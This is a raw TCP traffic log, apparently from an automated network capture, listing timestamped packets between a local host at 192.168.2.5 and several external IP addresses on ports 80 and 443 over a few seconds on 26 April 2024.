Apr 26, 2024 11:06:06.282380104 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.282419920 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.282438993 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.282480001 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.282485962 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.282532930 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.282582998 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.282604933 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.282623053 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.282670021 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.282732010 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.282799006 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.282831907 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.282851934 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.282890081 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.282922983 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.282947063 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.282994986 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.283046961 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.283051968 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.283109903 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.283158064 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.283178091 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.283205032 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.283252954 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.283271074 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.283344030 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.283391953 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.283423901 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.283487082 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.283540964 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.283570051 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.283617973 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.283682108 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.283759117 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.283776999 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.283821106 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.283823967 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.283960104 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.283998966 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.284010887 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.284074068 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.284116983 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.284149885 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.284181118 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.284225941 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.284229040 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.284272909 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.284321070 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.519042015 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.519076109 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.519104958 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.519123077 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.519140005 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.519166946 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.519184113 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.519193888 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.519212961 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.519221067 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.519233942 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.519260883 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.519289017 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.519306898 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.519329071 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.519340992 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.519376040 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.519390106 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.519396067 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.519413948 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.519433022 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.519435883 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.519469023 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.519505024 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.519784927 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.519812107 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.519840002 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.519853115 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.519870043 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.519886971 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.519895077 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.519931078 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.519947052 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.519972086 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.520008087 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.520025015 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.520031929 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.520075083 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.520076990 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.520092010 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.520124912 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.520142078 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.520142078 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.520163059 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.520179987 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.520184994 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.520210028 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.520219088 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.520237923 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.520255089 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.520277977 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.520289898 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.520313978 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.520330906 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.520334005 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.520358086 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.520370007 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.520376921 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.520420074 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.520437956 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.520493984 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.520510912 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.520528078 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.520534992 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.520567894 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.520782948 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.520813942 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.520834923 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.520853043 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.520859003 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.520901918 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.520955086 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.521047115 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.521064997 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.521089077 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.521100044 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.521119118 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.521142006 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.521153927 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.521172047 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.521193981 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.521199942 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.521219015 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.521239042 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.521245956 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.521261930 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.521286011 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.521313906 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.521332979 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.521351099 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.521357059 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.521389008 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.521394968 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.521457911 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.521481037 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.521498919 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.521502018 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.521524906 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.521537066 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.521544933 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.521584034 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.521585941 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.521652937 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.521670103 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.521692038 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.521720886 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.521766901 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.521775961 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.521792889 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.521811962 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.521831036 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.521852970 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.521902084 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.522099018 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.522126913 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.522156000 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.522171974 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.522176027 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.522208929 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.522252083 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.522268057 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.522294044 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.522310972 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.522321939 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.522337914 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.522360086 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.522413969 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.522433043 CEST	80	49711	185.172.128.59	192.168.2.5
Apr 26, 2024 11:06:06.522460938 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:06.522510052 CEST	49711	80	192.168.2.5	185.172.128.59
Apr 26, 2024 11:06:07.210134983 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:07.450540066 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:07.450644016 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:07.450844049 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:07.697218895 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:07.925928116 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.007046938 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:08.007105112 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:08.008280993 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:08.193847895 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.193937063 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.194019079 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.248420954 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:08.360675097 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:08.360744953 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:08.360790968 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:08.360829115 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:08.386142015 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:08.441076040 CEST	49714	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:06:08.441158056 CEST	443	49714	13.249.105.199	192.168.2.5
Apr 26, 2024 11:06:08.441360950 CEST	49714	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:06:08.443655968 CEST	49714	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:06:08.443691015 CEST	443	49714	13.249.105.199	192.168.2.5
Apr 26, 2024 11:06:08.458265066 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.458317041 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.458343983 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.458378077 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.458405018 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.458410025 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.458431959 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.458460093 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.458482027 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.458487988 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.458496094 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.458518028 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.458539009 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.458558083 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.458563089 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.458614111 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.626117945 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:08.700912952 CEST	443	49714	13.249.105.199	192.168.2.5
Apr 26, 2024 11:06:08.700987101 CEST	49714	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:06:08.702356100 CEST	49714	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:06:08.702377081 CEST	443	49714	13.249.105.199	192.168.2.5
Apr 26, 2024 11:06:08.702718973 CEST	443	49714	13.249.105.199	192.168.2.5
Apr 26, 2024 11:06:08.709100008 CEST	49714	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:06:08.724395990 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.724445105 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.724484921 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.724530935 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.724544048 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.724580050 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.724586964 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.724648952 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.724674940 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.724720955 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.724747896 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.724797010 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.724801064 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.724827051 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.724889040 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.724922895 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.724958897 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.725002050 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.725034952 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.725090027 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.725141048 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.725199938 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.725207090 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.725266933 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.725279093 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.725344896 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.725358009 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.725358009 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.725399971 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.725442886 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.736330986 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:08.736351013 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:08.736394882 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:08.736424923 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:08.736463070 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:08.736478090 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:08.736489058 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:08.736514091 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:08.736545086 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:08.752120972 CEST	443	49714	13.249.105.199	192.168.2.5
Apr 26, 2024 11:06:08.758888006 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:08.758932114 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:08.988703012 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.988766909 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.988821030 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.988838911 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.988867998 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.988929033 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.988936901 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.988972902 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.989016056 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.989031076 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.989061117 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.989115000 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.989118099 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.989150047 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.989192009 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.989248037 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.989324093 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.989357948 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.989413023 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.989429951 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.989466906 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.989470005 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.989584923 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.989645958 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.989680052 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.989690065 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.989732981 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.989761114 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.989795923 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.989862919 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.989869118 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.989923000 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.990005016 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.990050077 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.990087986 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.990132093 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.990139961 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.990206957 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.990255117 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.990303993 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.990309954 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.990340948 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.990365028 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.990400076 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.990444899 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.990447998 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.990573883 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.990643024 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.990645885 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.990695000 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.990755081 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.990803957 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.990878105 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.990967989 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.991005898 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.991013050 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.991046906 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.991096020 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.991148949 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:08.991264105 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:08.999098063 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:08.999149084 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:08.999164104 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:08.999247074 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:08.999263048 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:08.999274015 CEST	80	49712	185.172.128.76	192.168.2.5
